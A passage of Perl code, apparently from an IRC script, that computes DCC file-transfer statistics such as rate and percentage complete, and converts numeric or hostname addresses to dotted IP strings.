    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";
    }
    return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen");
  }


  return(0);
}


sub fixaddr {
    my ($address) = @_;

    chomp $address;     
    if ($address =~ /^\d+$/) {
        return inet_ntoa(pack "N", $address);
    } elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
        return $address;
    } elsif ($address =~ tr/a-zA-Z//) {                    
        return inet_ntoa(((gethostbyname($address))[4])[0]);
    } else {
        return;
    }
}